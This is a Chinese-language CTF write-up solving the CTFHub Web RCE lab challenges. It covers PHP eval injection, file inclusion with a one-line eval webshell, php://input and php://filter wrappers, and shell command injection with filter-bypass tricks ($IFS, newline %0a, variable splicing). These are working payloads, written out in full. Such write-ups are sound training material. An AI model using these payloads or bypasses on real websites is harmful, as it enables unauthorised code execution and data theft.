CTFHub技能树.Web.RCE

题目

0x01 eval执行

启动环境后可以看到页面上已经给出了源代码。

<?php
if (isset($_REQUEST['cmd'])) {
    eval($_REQUEST["cmd"]);
} else {
    highlight_file(__FILE__);
}
?>

在php中$_REQUEST可以获取以POST方法和GET方法提交的数据,在这里为了方便就使用GET方法向页面提交payload。
构造url/?cmd=system(" ");可以执行我们想要执行的代码。依次输入url/?cmd=system("ls");url/?cmd=system("ls ../");url/?cmd=system("ls ../../");url/?cmd=system("ls ../../../");可以在../../../目录下找到一个看起来就是目标的东西。
在这里插入图片描述
接着输入url/?cmd=system("cat ../../../flag_31776");即可获得flag。

0x02 文件包含

<?php
error_reporting(0);
if (isset($_GET['file'])) {
    if (!strpos($_GET["file"], "flag")) {
        include $_GET["file"];
    } else {
        echo "Hacker!!!";
    }
} else {
    highlight_file(__FILE__);
}
?>

根据代码,构造url/?file=可以将文件内容包含到页面内。同时题目给了一个shell.txt,其内容为一句话木马。

<?php eval($_REQUEST['ctfhub']);?>

shell.txt文件包含进页面中即可让其中中的php代码被执行。同时,使用hackbarburpsuite向页面传递post请求。
在这里插入图片描述
在这里插入图片描述

0x03 php://input

<?php
if (isset($_GET['file'])) {
    if ( substr($_GET["file"], 0, 6) === "php://" ) {
        include($_GET["file"]);
    } else {
        echo "Hacker!!!";
    }
} else {
    highlight_file(__FILE__);
}
?>

看到构造的url的开头只能为?file=php://,那么可以考虑使用php://input伪协议。

php://input是一个只读信息流,当请求方式是post的,并且enctype不等于”multipart/form-data”时,可以使用php://input来获取原始请求的数据。

php://input伪协议可以执行php代码,因此可以构造包含php代码的post请求包来执行想要执行的命令。
在这里插入图片描述
这题不知道发生了甚么事,不能用hackbar。不能用就不能用吧

0x04 读取源代码

<?php
error_reporting(E_ALL);
if (isset($_GET['file'])) {
    if ( substr($_GET["file"], 0, 6) === "php://" ) {
        include($_GET["file"]);
    } else {
        echo "Hacker!!!";
    }
} else {
    highlight_file(__FILE__);
}
?>

这题用不了php://input,应该是不满足使用的条件。因此可以使用php://input的好兄弟php://filter。同时,题目也给出了flag所在的路径。构造url/?file=php://filter/resource=/flag即可获得flag。

0x05 远程包含

<?php
error_reporting(0);
if (isset($_GET['file'])) {
    if (!strpos($_GET["file"], "flag")) {
        include $_GET["file"];
    } else {
        echo "Hacker!!!";
    }
} else {
    highlight_file(__FILE__);
}
?>

本题的正统方法应该是包含一个网络上的文件来达到和文件包含类似的效果,不过我没有自己的服务器,也没想出来咋通过操作包含进来一个文件。
在这里插入图片描述

尝试将文件包含题目的shell.txt包含进来但是貌似失败了。

不过没关系,这题使用php://input同样可以做出来。

0x06 命令注入

使用管道符即可执行任意我们想要执行的命令。输入1|ls即可查看目录文件。
在这里插入图片描述
随后使用cat命令即可查看文件内容。需要注意的是flag被隐藏在源代码注释中,需要查看源代码才能看到。

0x07 过滤cat

cat被过滤时,可以使用ca\t绕过,也可以使用其他命令代替cat

more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容

0x08 过滤空格

可以使用$IFS${IFS}$IFS$9%09等代替空格。

0x09 过滤目录分隔符

127.0.0.1;cd flag_is_here;ls
127.0.0.1;cd flag_is_here;cat flag_xxx.php

即可找到flag。

0x0A 过滤运算符

过滤了/(\||\&)/,可以使用;进行绕过。
输入1;cat flag_xxx.php即可。

0x0B 综合过滤练习

过滤了/(\||&|;| |\/|cat|flag|ctfhub)/,可以使用变量进行命令拼接。因为过滤的东西太多,这次直接在url里构造。

127.0.0.1%0aa=l%0ab=s%0a$a$b
127.0.0.1%0aa=l%0ab=s%0ac=fl%0ad=ag_is_here%0a$a$b${IFS}$c$d
127.0.0.1%0aa=c%0ab=d%0ac=fl%0ad=ag_is_here%0ae=ca%0af=t%0ag=fl%0ah=ag_xxx.php%0a$a$b${IFS}$c$d%0a$e$f${IFS}$g$h

参考资料

CTF随笔-RCE入门
《从0到1:CTFer成长之路》
《Web安全攻防:渗透测试实战指南》

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值